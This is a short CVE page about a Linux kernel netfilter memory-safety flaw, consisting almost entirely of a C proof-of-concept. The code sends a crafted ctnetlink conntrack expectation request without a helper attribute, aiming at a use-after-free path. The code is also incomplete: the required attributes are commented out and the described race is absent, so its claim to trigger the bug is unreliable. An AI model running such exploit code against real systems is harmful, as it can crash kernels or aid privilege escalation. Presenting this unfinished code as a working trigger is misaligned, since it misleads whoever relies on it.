CVE-2026-31414 Linux Kernel netfilter内存安全漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libmnl/libmnl.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_conntrack.h> // This is a conceptual PoC to trigger the ctnetlink expectation path. // It attempts to create an expectation without specifying a helper explicitly, // potentially triggering the unsafe nfct_help() usage on an expiring master conntrack. int main() { struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct nfgenmsg *nfg; int ret; unsigned int seq, portid; nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); } portid = mnl_socket_get_portid(nl); // Construct a netlink message to create a conntrack expectation nlh = mnl_nlmsg_put_header(buf); nlh->nlmsg_type = (NFNL_SUBSYS_CTNETLINK << 8) | IPCTNL_MSG_EXP_NEW; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; nlh->nlmsg_seq = seq = time(NULL); nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(struct nfgenmsg)); nfg->nfgen_family = AF_INET; nfg->version = NFNETLINK_V0; nfg->res_id = 0; // Add expectation attributes (simplified) // Ideally, we race this with the master conntrack deletion // mnl_attr_put_u32(..., CTA_EXPECT_MASTER, ...); // mnl_attr_put_u32(..., CTA_EXPECT_TUPLE, ...); // mnl_attr_put_u32(..., CTA_EXPECT_MASK, ...); // Note: Intentionally NOT providing CTA_EXPECT_HELPER to trigger the fallback to exp->master->helper printf("Sending malicious conntrack expectation request...\n"); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("mnl_socket_sendto"); exit(EXIT_FAILURE); } ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); if (ret == -1) { perror("mnl_socket_recvfrom"); exit(EXIT_FAILURE); } printf("Potential trigger sent. Check kernel logs for crashes.\n"); mnl_socket_close(nl); return 0; }